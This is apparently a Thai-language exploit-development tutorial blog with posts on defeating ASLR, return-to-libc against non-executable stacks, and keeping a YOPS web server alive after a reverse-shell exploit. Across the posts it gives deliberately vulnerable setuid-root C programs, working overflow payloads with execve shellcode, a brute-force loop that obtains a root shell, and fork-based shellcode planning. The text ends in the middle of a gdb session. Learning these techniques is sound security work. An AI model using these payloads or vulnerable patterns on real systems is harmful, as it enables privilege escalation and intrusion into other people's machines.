Skillz Thai Tutorial

Defeating ASLR

2011-10-19T23:18:00.000+07:00

ในหัวข้อนี้ ผมจะพูดถึงเรื่อง ASLR (Address Space Layout Randomization) ซึ่งเป็น kernel feature ที่ช่วย mitigrate ปัญหาเรื่อง buffer overflow โดยเมื่อ enable feature นี้ (default บน Linux ปัจจุบัน) จะทำให้ address ของ executable file (ถ้า compile ด้วย PIE option), shared objects, stack, heap (เมื่อค่า randomize_va_space เป็น 2) ถูก random เมื่อโปรแกรมเริ่มการทำงาน เรามาดูของจริงกันเลยดีกว่า


$ sudo su -c "echo 1 > /proc/sys/kernel/randomize_va_space"
$ cat /proc/self/maps
00675000-007c8000 r-xp 00000000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
...
00908000-00909000 r-xp 00000000 00:00 0          [vdso]
00cd9000-00cf4000 r-xp 00000000 08:01 1613       /lib/ld-2.11.1.so
00cf4000-00cf5000 r--p 0001a000 08:01 1613       /lib/ld-2.11.1.so
00cf5000-00cf6000 rw-p 0001b000 08:01 1613       /lib/ld-2.11.1.so
08048000-08054000 r-xp 00000000 08:01 659        /bin/cat
08054000-08055000 r--p 0000b000 08:01 659        /bin/cat
08055000-08056000 rw-p 0000c000 08:01 659        /bin/cat
08056000-08077000 rw-p 00000000 00:00 0          [heap]
b75d3000-b7612000 r--p 00000000 08:01 397593     /usr/lib/locale/en_US.utf8/LC_CTYPE
...
b7742000-b7744000 rw-p 00000000 00:00 0
bfd7a000-bfd8f000 rw-p 00000000 00:00 0          [stack]
$ cat /proc/self/maps
001dd000-00330000 r-xp 00000000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00330000-00331000 ---p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00331000-00333000 r--p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00333000-00334000 rw-p 00155000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00334000-00337000 rw-p 00000000 00:00 0
0094b000-00966000 r-xp 00000000 08:01 1613       /lib/ld-2.11.1.so
00966000-00967000 r--p 0001a000 08:01 1613       /lib/ld-2.11.1.so
00967000-00968000 rw-p 0001b000 08:01 1613       /lib/ld-2.11.1.so
009da000-009db000 r-xp 00000000 00:00 0          [vdso]
08048000-08054000 r-xp 00000000 08:01 659        /bin/cat     # ค่าเดิม
08054000-08055000 r--p 0000b000 08:01 659        /bin/cat
08055000-08056000 rw-p 0000c000 08:01 659        /bin/cat
08056000-08077000 rw-p 00000000 00:00 0          [heap]       # ค่าเดิม
b7628000-b7667000 r--p 00000000 08:01 397593     /usr/lib/locale/en_US.utf8/LC_CTYPE
...
b7797000-b7799000 rw-p 00000000 00:00 0
bfaa3000-bfab8000 rw-p 00000000 00:00 0          [stack]

จะเห็นว่า address เริ่มต้นของ shared objects และ stack นั้นเปลี่ยนไปทุกครั้ง และเมื่อเราเปลี่ยนค่า randomize_va_space เป็น 2 โดยครั้งนี้จะเห็นว่า heap address


$ sudo su -c "echo 2 > /proc/sys/kernel/randomize_va_space"
$ cat /proc/self/maps
006be000-006d9000 r-xp 00000000 08:01 1613       /lib/ld-2.11.1.so
006d9000-006da000 r--p 0001a000 08:01 1613       /lib/ld-2.11.1.so
006da000-006db000 rw-p 0001b000 08:01 1613       /lib/ld-2.11.1.so
008ea000-00a3d000 r-xp 00000000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00a3d000-00a3e000 ---p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00a3e000-00a40000 r--p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00a40000-00a41000 rw-p 00155000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00a41000-00a44000 rw-p 00000000 00:00 0
00bcd000-00bce000 r-xp 00000000 00:00 0          [vdso]
08048000-08054000 r-xp 00000000 08:01 659        /bin/cat
08054000-08055000 r--p 0000b000 08:01 659        /bin/cat
08055000-08056000 rw-p 0000c000 08:01 659        /bin/cat
09993000-099b4000 rw-p 00000000 00:00 0          [heap]      # เปลี่ยนแล้ว
b76e6000-b7725000 r--p 00000000 08:01 397593     /usr/lib/locale/en_US.utf8/LC_CTYPE
...
b7855000-b7857000 rw-p 00000000 00:00 0
bfac9000-bfade000 rw-p 00000000 00:00 0          [stack]

ผลของ ASLR นั้น ทำให้เราไม่สามารถที่จะระบุ memory address ของ shellcode เราได้ รวมถึงเทคนิค ret2libc เพราะ libc ก็ถูกโหลดเข้า memory ใน address ที่เปลี่ยนไปเรื่อยๆ สำหรับวิธี defeat ASLR นั้นจะมีอยู่ 3 แบบหลักๆ คือ

1. Bruteforce

วิธีนี้ส่วนมากจะใช้ได้เฉพาะกับ 32-bit architecture เนื่องด้วยใน 32-bit architecture จำนวน bit ของ address ที่จะ random นั้นอย่างมากก็แค่ 24 bit แต่ implementation ส่วนมากนั้นจะ random เพียงแค่ 12-16 bit ซึ่งเป็นจำนวนที่น้อยมาก รวมทั้งการที่เราสามารถใช้ NOP sled ใหญ่ๆ ทำให้เมื่อเราเขียนทับ saved eip ด้วยค่า address หนึ่งนั้น มีโอกาสที่จะถูกสูงขึ้นมาก

เงื่อนไขอีกเงื่อนไขสำหรับวิธีนี้ คือเราต้องสามารถลองได้หลายๆ ครั้ง เช่น local exploit ที่เราสามารถเรียก execute กี่ครั้งก็ได้ เรามาดูตัวอย่างกันเลยดีกว่า โดยผมจะเอาตัวอย่างจาก "Buffer Overflow ให้โปรแกรม spawn shell (แบบฝึกหัด 2)" ซึ่งเรามี exploit อยู่แล้ว

สำหรับวิธี bruteforce ก็คือเขียนทับ saved eip ค่าเดิมไป แล้วสั่ง execute โปรแกรมไปเรื่อยๆ จนกว่า OS จะ random address ที่ทำให้ exploit เราทำงาน ดังนั้น exploit ที่เราเคยทำไปแล้วสามารถนำมาใช้ได้เลย โดยผมจะเพิ่ม NOP sled เป็น 8192 bytes เพื่อเพิ่มโอกาสถูกให้มีมากขึ้น ซึ่งเราจะได้ shell เร็วหรือช้า ก็ขึ้นอยู่ว่า OS สุ่ม address ออกมาอย่างไร


$ while [ 1 ]; do ./ex_06_4 `perl -e 'print "UUU" . "\x50\xf6\xff\xbf"x10 . "\x90"x8192 . "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x7b\x34\x70\xcd\x80"'`; done
Segmentation fault
Segmentation fault
Segmentation fault
...
Segmentation fault
# id
uid=0(root) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)
# exit
Segmentation fault
...
Segmentation fault
^C

2. Use non-randomization address

วิธีนี้คือการใช้ code ในส่วนที่ address ไม่มีการ random เพื่อกระโดดไปที่ shellcode ของเรา ซึ่งโดยปกติ compile option จะไม่มีการ enable PIE ทำให้ส่วน executable binary จะถูกโหลดไปที่ตำแหน่งเดิมของ memory เสมอ

จริงๆ แล้ววิธีนี้ไม่มีวิธีตายตัว คือทำยังไงก็ได้ ให้โปรแกรมกระโดดไปที่ shellcode ของเรา (หลังๆ จะเจอแบบนี้เรื่อยๆ นะครับ) โดยผมจะเอามาให้ดู 3 แบบที่ใช้กันบ่อยๆ เรามาดู code ตัวอย่างสำหรับวิธีนี้กันเลยดีกว่า (ex_14_1.c)


/*
gcc -fno-stack-protector -z norelro -z execstack -o ex_14_1 ex_14_1.c
sudo su -c "chown root: ex_14_1;chmod 4755 ex_14_1"
*/
#include <string.h>

void jmpesp()
{
 __asm__ ("jmp *%esp");
}

void vuln(int unused, const char *src)
{
 char buffer[64];
 strcpy(buffer, src);
}

int main(int argc, char **argv)
{
 vuln(0, argv[1]);
 return 0;
}

มาถึงหัวข้อนี้แล้ว ผมขอข้ามการอธิบายเรื่องช่องโหว่ของโปรแกรม โดยจากโปรแกรมนี้ เราต้องเขียนข้อมูลไปก่อน 76 ตัวแล้วเราจึงค่อยเขียนทับ saved eip ดังนั้น exploit ข้างล่างคือทำให้ eip กระโดดไปทำงานที่ 0x55555555


$ ./ex_14_1 `perl -e 'print "A"x76,"UUUU"'`

ใช้ jmp esp

เนื่องด้วยหลังคำสั่ง ret โปรแกรมจะ pop ค่า saved eip จาก stack ทำให้ stack pointer (esp) ชี้ไป address ถัดไปจากที่เก็บ saved eip ดังนั้นถ้าเราเขียนทับ saved eip เพื่อให้กระโดดไปทำงานที่คำสั่ง jmp *%esp โปรแกรมก็จะกระโดดไปที่ address หลังที่เก็บ saved eip ซึ่งถ้าเราวาง shellcode ของเราไว้หลัง saved eip ที่เราเขียนทับ โปรแกรมก็จะทำงาน shellcode ของเรา

ส่วนวิธีการหา jmp *%esp ใน binary นั้นอาจใช้ objdump ก็ได้ แต่คราวนี้ผมจะใช้ msfelfscan เพื่อหา address


$ msfelfscan -j esp ex_14_1
[ex_14_1]
0x080483c7 jmp esp

เมื่อได้ address มาแล้ว exploit ของเราก็จะเป็น


$ ./ex_14_1 `perl -e 'print "A"x76,"\xc7\x83\x04\x08","\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80","\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`
#

ใช้ pop* ret

แนวคิดของวิธีนี้คือ ใช้ค่า address ของ shellcode ที่เก็บไว้ใน stack หลัง saved eip ไม่ไกลมาก ซึ่งส่วนมากเราจะใช้วิธีนี้ได้เมื่อมีการส่ง pointer ที่ชี้ไปยัง shellcode เป็น argument ของ function ที่มีช่องโหว่ หรือ function ที่เรียก function ที่มีปัญหามีการใช้ pointer ที่ชี้ไปยัง shellcode ดังนั้นเมื่อเรา pop ข้อมูลออกจาก stack จน stack pointer (esp) นั้นชี้ไปที่เก็บ address ของ shellcode แล้วสั่ง ret โปรแกรมก็จะกระโดดไปที่ shellcode ของเรา

ที่ผมใช้ pop* นั้นหมายถึง อาจจะไม่จำเป็นต้อง pop ก็ได้ หรืออาจจะต้องใช้ pop หลายๆ ครั้ง โดยในตัวอย่างข้างบนนั้น จะเห็นว่า pointer ที่ชี้ไปยัง shellcode ของเรานั้นเป็น argument ที่ 1 ของ vuln() ดังนั้นเราต้องใช้ pop 1 ครั้ง แล้วตามด้วยคำสั่ง ret และผมจะใช้ msfelfscan ในการหาอีกครั้ง


$ msfelfscan -p ex_14_1
[ex_14_1]
0x08048392 pop ebx; pop ebp; ret
0x08048477 pop edi; pop ebp; ret
0x080484a7 pop ebx; pop ebp; ret

จะเห็นว่า msfelfscan นั้นมีแต่ option ให้หา pop+pop+ret ซึ่งเป็นวิธีหลักสำหรับการเขียน exploit บน Windows แบบ SEH based เพราะว่า address ที่โปรแกรมจะกลับไปทำงานหลังทำงานใน Exception Handler นั้นเป็น argument ที่ 3 ของ Exception Handler function ดังนั้นเวลาที่ใช้ option นี้กับตัวอย่างของเรา เราต้องบวก address ไปอีก 1 ดังนั้น address ที่เราจะใช้คือ 0x08048393 และ exploit เราก็จะเป็น


$ ./ex_14_1 `perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80","\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80","A"x42,"\x93\x83\x04\x08"'`
#

ใช้ jmp eax

แนวคิดของวิธีนี้ก็คือ เวลา function จะ return ค่านั้นจะทำการ set eax เป็นค่าที่จะ return ดังนั้นถ้า eax เป็น address ของ shellcode เราจะสามารถใช้วิธีนี้ได้ ในตัวอย่างข้างบนนั้น จะเห็นว่า vuln() นั้นไม่มีการ return ค่า แต่ strcpy() นั้นจะ return address ของ dst ทำให้ eax ชี้ไปที่ address ของ buffer และจบ function โดยไม่มีการเปลี่ยนค่า eax

เมื่อเข้าใจกันแล้ว ก็มาหา address ของ jmp eax


$ msfelfscan -j eax ex_14_1
[ex_14_1]
0x080483bf call eax
0x0804849b call eax

จะเห็นว่า msfelfscan นั้นเจอเป็น call eax ซึ่งจริงๆ ผลลัพธ์นั้นเหมือนกัน คือโปรแกรมกระโดดไปที่ eax ชี้อยู่ และจริงๆ แล้วไม่จำเป็นต้องเป็น eax จะเป็น register ไหนก็ได้ ของเพียงแค่ว่าเราหา jmp ไปหา register นั้นใน executable ได้หรือเปล่า แต่ที่ผมใช้เป็น eax ให้หัวข้อ เพราะมันมีอยู่ในทุกๆ executable

ได้ address มาแล้ว exploit ก็จะเป็น


$ ./ex_14_1 `perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80","\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80","A"x42,"\xbf\x83\x04\x08"'`
#

ได้เห็นทั้ง 3 แบบไปแล้ว สิ่งที่ผมอยากจะให้สังเกตอีกอย่างคือ วิธีนี้ยังทำให้ exploit ที่เราเขียนนั้นมีทำงานเสมอไม่ว่าเราจะเอา binary นี้ไปรันบน Linux distribution ไหน exploit เราก็จะทำงานได้เสมอ

3. Information leak

วิธีนี้คือใช้ช่องโหว่อีกช่องโหว่ของโปรแกรม (บางครั้งเป็นช่องโหว่เดียวกัน) เพื่อที่จะให้โปรแกรมแสดงข้อมูลภายในที่โปรแกรมไม่ตั้งใจให้แสดงเช่น memory address

ช่องโหว่สำหรับ information leak ที่เคยเจอกันแล้วคือ format string bug ส่วนแบบอื่นที่พบบ่อยๆ คือเราสามารทำให้โปรแกรมแสดงข้อมูลที่ไม่ได้ initialize แต่ส่วนมากการเขียน exploit ที่ต้องใช้ช่องโหว่ information leak ช่วยนั้นจะค่อนข้างซับซ้อน ผมจึงขอแสดงตัวอย่างไว้ทีหลัง

Reference:
- Address space layout randomization - Wikipedia, the free encyclopedia
- Linux kernel ASLR Implementation
- ASLR Smack & Laugh Reference

Basic Return-to-libc

2011-09-10T00:35:00.000+07:00

จากตัวอย่างก่อนหน้านี้ทั้งหมด จะเห็นว่าเราได้มีการ inject shellcode ไว้ใน stack แล้วทำให้ eip ชี้ไปที่ shellcode ของเราใน stack ซึ่งโปรแกรมปกติจะไม่มีการ execute code ใน stack อยู่แล้ว ทำให้เกิดมีการทำ Non-Executable Stack โดยเริ่มต้นทำเฉพาะส่วนของ stack ไม่สามารถ execute code ได้ ซึ่งต่อมาได้มีการทำ Non-Executable (NX) ในส่วนอื่นๆ ที่ writable ด้วย เช่น .bss, heap เป็นต้น

ในหัวข้อนี้ เราจะมีดูวิธีการ bypass เมื่อมีการ enable NX ด้วย return-to-libc (ret2libc) ซึ่งจากตัวอย่างแรก (ex_13_1.c) โดยเราจะ compile ทั้งสองแบบและดู process maps


/*
gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_13_1 ex_13_1.c
gcc -fno-pie -fno-stack-protector -z norelro -o ex_13_1_nx ex_13_1.c
*/
#include <stdio.h>
int main(int argc, char **argv)
{
	getchar();
    return 0;
}


$ ./ex_13_1 &
[1] 2020
$ cat /proc/${!}/maps
00110000-0012b000 r-xp 00000000 08:01 1613       /lib/ld-2.11.1.so
0012b000-0012c000 r-xp 0001a000 08:01 1613       /lib/ld-2.11.1.so
0012c000-0012d000 rwxp 0001b000 08:01 1613       /lib/ld-2.11.1.so
0012d000-0012e000 r-xp 00000000 00:00 0          [vdso]
0012e000-00131000 rwxp 00000000 00:00 0
00140000-00293000 r-xp 00000000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00293000-00294000 ---p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00294000-00296000 r-xp 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00296000-00297000 rwxp 00155000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00297000-0029b000 rwxp 00000000 00:00 0
08048000-08049000 r-xp 00000000 08:01 146881     /home/worawit/tutz/ch13/ex_13_1
08049000-0804a000 rwxp 00000000 08:01 146881     /home/worawit/tutz/ch13/ex_13_1
bffeb000-c0000000 rwxp 00000000 00:00 0          [stack]

[1]+  Stopped                 ./ex_13_1
$ fg
./ex_13_1

$ ./ex_13_1_nx &
[1] 2024
$ cat /proc/${!}/maps
00110000-0012b000 r-xp 00000000 08:01 1613       /lib/ld-2.11.1.so
0012b000-0012c000 r--p 0001a000 08:01 1613       /lib/ld-2.11.1.so
0012c000-0012d000 rw-p 0001b000 08:01 1613       /lib/ld-2.11.1.so
0012d000-0012e000 r-xp 00000000 00:00 0          [vdso]
0012e000-00281000 r-xp 00000000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00281000-00282000 ---p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00282000-00284000 r--p 00153000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00284000-00285000 rw-p 00155000 08:01 132034     /lib/tls/i686/cmov/libc-2.11.1.so
00285000-00288000 rw-p 00000000 00:00 0
08048000-08049000 r-xp 00000000 08:01 146944     /home/worawit/tutz/ch13/ex_13_1_nx
08049000-0804a000 rw-p 00000000 08:01 146944     /home/worawit/tutz/ch13/ex_13_1_nx
b7fed000-b7fee000 rw-p 00000000 00:00 0
b7ffd000-b8000000 rw-p 00000000 00:00 0
bffeb000-c0000000 rw-p 00000000 00:00 0          [stack]

[1]+  Stopped                 ./ex_13_1_nx
$ fg
./ex_13_1_nx

เมื่อเอา option "-z execstack" ออก เราจะเห็นว่า segment ไหนที่ writable จะไม่ executable และถ้าเราลองเอา option นี้ออกในตัวอย่างเก่าๆ ออก จะเห็นว่า exploit ของเราไม่ทำงานแม้แต่อันเดียว เนื่องด้วยเราแก้ไขค่า eip ให้ไปที่ stack ที่ไม่สามารถ execute ได้ ทำให้เกิน segmentation fault

คนแรกที่อธิบายวิธี ret2libc ที่ใช้ bypass NX คือ Solar Designer ซึ่งผมได้ใส่ไว้ใน reference โดยผมจะอธิบายวิธีไม่ตรงกับใน paper ซะทีเดียว แต่หลักการเดียวกัน เพื่อให้ง่ายในการไปต่อให้หัวข้อถัดๆ ไป

concept ของ ret2libc คือแทนที่เราจะใส่ shellcode ที่เป็น system call เพื่อเรียก execve หรืออะไรก็แล้วแต่ เราก็ไปเรียก execve function (หรือ function อะไรก็ได้) ใน libc เลย ซึ่งส่วนนี้ยังไงก็ต้อง executable ส่วนวิธีที่จะเรียก function ใน libc นั้น ก็ต้องกลับไปดูที่เรื่อง "Function กับ Stack" ซึ่งเมื่อโปรแกรมทำคำสั่ง call แล้วเข้าไปใน function หรือตอนที่จบ function โปรแกรมกำลังจะทำคำสั่ง ret จะมี stack ดังนี้

จากตัวอย่างที่ผ่านมา เวลาเราทำ stack based buffer overflow เราจะเขียนทับ saved eip ไปที่ shellcode ของเรา แต่คราวนี้ถ้าเราเขียนทับ saved eip ไปที่ execve function ใน libc ซึ่งเมื่อโปรแกรมทำงานคำสั่ง ret ก็จะ pop ค่าใน stack เป็น eip แล้วเข้าไปใน execve function ซึ่งจะมี stack layout สำหรับ execve function เป็นดังนี้

จะเห็นว่า execve จะมองค่า arg2, arg3 และ arg4 ในรูปแรกเป็น function argument ที่ 1,2,3 ตามลำดับ ดังนั้นเวลาเราทำ overflow หลังจากเราเขียนทับ saved eip ด้วย address ของ execve function ใน libc แล้ว เราสามารถเขียนทับต่อเพื่อกำหนด arg1 เป็น address ของ "/bin/sh" และ arg2 กับ arg3 เป็น address ที่มีค่าเป็น 0 โปรแกรมก็จะทำงาน execve("/bin/sh", NULL, NULL) ซึ่งเทียบเท่ากับ spawn shell

เรื่อง exploit จะให้เข้าใจจริงๆ ต้องมีการลองทำ ดังนั้นเรามาดูตัวอย่างกันเลยดีกว่า (ex_13_2.c)


/*
gcc -fno-pie -fno-stack-protector -z norelro -o ex_13_2 ex_13_2.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void readfile(const char *filename)
{
    FILE *fp;
    unsigned short len;
    char buffer[2048];
    
    fp = fopen(filename, "rb");
    if (fp == NULL) {
        fprintf(stderr, "Cannot open file\n");
        exit(1);
    }
    
    fread(&len, 2, 1, fp);
    fread(buffer, 1, len, fp);
    fclose(fp);
}

int main(int argc, char **argv)
{
    if (argc != 2) {
        printf("Usage: %s filename\n", argv[0]);
        return 1;
    }
    readfile(argv[1]);
    return 0;
}

ตัวอย่างนี้ โปรแกรมทำการอ่านไฟล์ โดยจะอ่าน 2 bytes แรกของไฟล์เพื่อให้รู้ว่าต้องอ่านข้อมูลต่ออีกกี่ byte ซึ่งเห็นปัญหาได้ชัดเจนว่าถ้าเราใส่ให้ len มีขนาดมากกว่า 2048 จะทำให้เกิด buffer overflow และเนื่องด้วยในตัวอย่างนี้ใช้ fread() ทำให้ไม่มี badchar

ก่อนอื่นเรามาทำให้โปรแกรม crash ก่อนดีกว่า โดยผมจะใส่ค่า A ใน buffer และที่เหลือเป็นค่าอื่น เพื่อให้เห็นว่าตำแหน่ง saved eip อยู่ห่างจาก buffer เท่าไร


$ ulimit -c unlimited
$ perl -e 'print "\xff\x1f","A"x2048,"BBBB","CCCC","DDDD","EEEE","FFFF","GGGG"' > ex_13_2_expl
$ ./ex_13_2 ex_13_2_expl
Segmentation fault (core dumped)
$ gdb -q ./ex_13_2 core
...
Program terminated with signal 11, Segmentation fault.
#0  0x00189977 in fclose () from /lib/tls/i686/cmov/libc.so.6
(gdb) bt
#0  0x00189977 in fclose () from /lib/tls/i686/cmov/libc.so.6
#1  0x080485c3 in readfile ()
#2  0x47474646 in ?? ()
#3  0xbfff4747 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
(gdb) x/4x $ebp      # ดู fclose argument
0xbfffeed8:     0xbffff708      0x080485c3      0x43434242      0x00000001
(gdb) info frame 1
Stack frame at 0xbffff710:
 eip = 0x80485c3 in readfile; saved eip 0x47474646
 called by frame at 0xbffff714, caller of frame at 0xbfffeee0
 Arglist at 0xbffff708, args:
 Locals at 0xbffff708, Previous frame s sp is 0xbffff710
 Saved registers:
  ebp at 0xbffff708, eip at 0xbffff70c

จากการตรวจสอบ core file จะเห็นว่าโปรแกรมไม่ได้ crash เพราะเรา overwrite saved eip แต่ไป crash ใน fclose() function ที่เรียกจาก readfile() function และเมื่อดู argument ของ flose() จะเห็นว่าค่า fp คือ 0x43434242 แสดงให้เห็นว่าตำแหน่งที่เก็บ fp นั้นอยู่ระหว่าง buffer กับ saved eip

ก่อนอื่นเรามาดู offset ของค่าต่างๆ ที่สำคัญก่อน ค่าแรกคือ fp ซึ่งต้องเขียนไปก่อน 2050 bytes และ saved eip จะอยู่หลัง fp ไป 12 bytes

ส่วนวิธีจัดการกับปัญหา fclose() ง่ายๆ คือใส่ค่าเดิมลงไป ซึ่งจะเหมือนเดิมทุกครั้งที่รันโปรแกรม เนื่องจากเรายังไม่มีการ enable ASLR (จะกล่าวถึงในหัวข้อถัดไป) ส่วนอีกวิธีคือให้สร้าง FILE struct ปลอมใน buffer แล้วแก้ fp ให้ชี้ไปที่ FILE struct ของเรา (วิธีนี้ผมไม่ทำนะครับ เพราะไม่เกี่ยวกับหัวข้อนี้) ดังนั้นเราต้องหาค่าของ fp ก่อนที่จะโดนเขียนทับก่อน


$ gdb -q ./ex_13_2
(gdb) disass readfile
Dump of assembler code for function readfile:
   0x08048514 <+0>:     push   %ebp
...
   0x080485b8 <+164>:   mov    -0xc(%ebp),%eax
   0x080485bb <+167>:   mov    %eax,(%esp)
   0x080485be <+170>:   call   0x80483f4 <fclose@plt>
   0x080485c3 <+175>:   leave
   0x080485c4 <+176>:   ret
End of assembler dump.
(gdb) b *0x080485be
Breakpoint 1 at 0x80485be
(gdb) r ex_13_1.c
Starting program: /home/worawit/tutz/ch13/ex_13_2 ex_13_1.c

Breakpoint 1, 0x080485be in readfile ()
(gdb) x/x $ebp-0xc
0xbffff6dc:     0x0804a008

เราได้ address มาแล้วคือ 0x0804a008 คราวนี้ลองใหม่


$ perl -e 'print "\xff\x1f","A"x2050,"\x08\xa0\x04\x08","B"x12,"CCCC","DDDD","ARG1","ARG2","ARG3"' > ex_13_2_exp2
$ ./ex_13_2 ex_13_2_expl2
Segmentation fault (core dumped)
$ gdb -q ./ex_13_2 core
...
#0  0x080485c4 in readfile ()   # crash ที่คำสั่ง ret
(gdb) x/8x $esp   # check saved eip และค่าอื่นๆ
0xbffff71c:     0x43434343      0x44444444      0x31475241      0x32475241
0xbffff72c:     0x33475241      0x08048620      0x00000000      0xbffff7b8
(gdb) print execve    # หา address ของ execve ใน libc
$1 = {} 0x1c6040

ตอนนี้ก็เหลือแค่หา address ของ "/bin/sh" กับ NULL ซึ่งจริงๆ แล้วใน env จะมี "/bin/bash" อยู่แล้ว แต่เราก็สามารถใส่ไว้ใน buffer ก็ได้โดยถ้าเราใส่ '/' นำหน้าเยอะๆ ก็จะทำให้โอกาสที่ argument1 ชี้ไปที่ string ที่เสมือน "/bin/sh" สูงขึ้น โดยผมจะประมาณไว้ที่ 0xbffff5a0 ส่วน NULL ผมจะใช้ address 0x08049f50


$ perl -e 'print "\xff\x1f","/"x1993,"bin/sh\x00","A"x50,"\x08\xa0\x04\x08","B"x12,"\x40\x60\x1c\x00","CCCC","\xa0\xf3\xff\xbf","\x50\x9f\x04\x08"x2' > ex_13_2_expl3
$ ./ex_13_2 ex_13_2_expl3

ก่อนจะจบ ถ้าย้อนกลับไปดูรูปที่ 2 จะเห็นว่า ถ้าเราไม่ใช้ execve แต่ใช้เป็น function อื่น ที่มีการ return ค่า เรายังสามารถควบคุม eip ได้อยู่หลังจากจบ function เพราะ saved eip นั้นได้ถูกเลื่อนลงมา ซึ่งจะนำมาใช้ประโยชน์อะไร ผมจะพูดถึงในหัวข้อหลังจากนี้นะครับ

Reference:
- http://insecure.org/sploits/linux.libc.return.lpr.sploit.html

ที่ถามคำถาม

2011-05-14T15:18:00.001+07:00

เนื่องด้วยใน blog นี้ไม่เหมาะกับการถามตอบข้อสงสัย ผมได้ขอยืมพื้นที่ของ Blackbuntu Board จาก c1ph3r ซึ่งอยู่ในส่วน "Cyber Guide" ถ้าใครสงสัยอะไรก็ไปถามที่นั้นได้นะครับ แต่ขอให้ถามเกี่ยวกับที่ผมเขียนในนี้นะครับ :)

Exploiting YOPS Web Server 2009-11-30 (disable all security options) ต่อ

2011-05-14T15:12:00.002+07:00

จากหัวข้อที่แล้ว เราได้ exploit สำหรับ YOPS Web Server 2009-11-30 ที่ต้องทำการ request ปกติก่อนหนึ่งครั้ง แต่จริงๆ แล้วถ้าเราไม่รันโปรแกรมจาก gdb เราไม่จำเป็นต้องส่ง request ปกติก่อน ทั้งนี้เป็นเพราะ gdb ได้เพิ่มค่าต่างๆ ทำให้ memory address ในบาง section ถูกเลื่อน ถ้าใครลองรันโปรแกรมข้างนอก แล้วใช้ gdb attach process จะเห็น exploit สามารถทำงานได้ปกติตั้งแต่ request แรก

ทุกคนคงเห็นแล้วว่า exploit ที่เรามีตอนนี้ยิงได้ครั้งเดียว หลังจากเรา exit shell ที่เราได้ โปรแกรมก็จะจบตามไปด้วย ในหัวข้อนี้เราจะมาลองทำให้ยิงแล้วโปรแกรมไม่ crash และเมื่อออกแล้วโปรแกรมยังสามารถทำงานได้ปกติ แต่เพื่อเป็นการฝึก ผมจะเปลี่ยนการเขียน exploit ที่ใช้ภาษา python เป็น ruby ซึ่งผมก็ไม่เคยเขียนมาก่อนเหมือนกัน และแปลง exploit สุดท้ายจากหัวข้อที่แล้วได้เป็น (ลองฝึกแปลงเองก่อนดีกว่านะ) ex12_yops2_1.rb

โดยส่วนมาก โปรแกรมที่เป็น server บน Linux จะทำการ (pre-)fork ตัวเอง เพื่อจัดการกับ connection ที่ client ต่อเข้ามา แต่เนื่องด้วยโปรแกรมนี้ทำงานแบบ multi-threads มี process เดียว ทำให้เมื่อเราทำโปรแกรม crash หรือออกจาก reverse shell ที่เราได้ทำให้โปรแกรมจบไปด้วย ดังนั้นสิ่งที่เราต้องทำเพื่อให้โปรแกรมทำงานต่อได้หลังจากยิง exploit คือไม่ทำให้โปรแกรม crash (ทำได้แล้ว) และ shellcode เราต้องทำการ fork ก่อนที่จะทำ reverse shell เพื่อไม่ให้ shell เราแทนที่โปรแกรมหลัก นอกจากนี้แล้วเราต้องทำให้โปรแกรมหลักกลับเข้าสู่การทำงานปกติ

การที่เราจะ fork ก็ง่ายนิดเดียว เขียน shellcode ให้ทำการ fork ซึ่ง syscall number คือ 2 โดย process ลูกจะ return ค่า 0 มา ดังนั้น assembly คราวๆ ที่จะได้คือ


# fork()
xorl %eax,%eax
movb $2,%al     # fork syscall number
int  $0x80

test %eax,%eax
jz   child
# parent

child:
# child (our reverse shellcode here)

ในส่วนของ child ก็คือ shellcode เดิมของเรา แต่ส่วนที่เราต้องแก้ปัญหาคือ parent เพราะเราได้ทำการเขียนทับข้อมูลบน stack จนเละไปแล้ว รวมถึงได้เปลี่ยน eip มาอยู่บน stack เพื่อที่จะรัน shellcode ของเรา ดังนั้นสิ่งที่ต้องมีใน shellcode ของเราแน่ๆ คือ jmp กลับไปงานต่อที่ที่เราแก้ saved eip ไป เรามาดูค่าต่างๆ ใน stack ใน swebs_record_log function ก่อน


$ gdb ./swebs
...
(gdb) b swebs_record_log
Breakpoint 1 at 0x804a7d8: file swebs.c, line 545.
(gdb) r
...
Breakpoint 1, swebs_record_log (log=5, job=0x804f198) at swebs.c:545
545             memset(logrec, 0, sizeof(logrec));
(gdb) bt  # ดู call stack
#0  swebs_record_log (log=5, job=0x804f198) at swebs.c:545
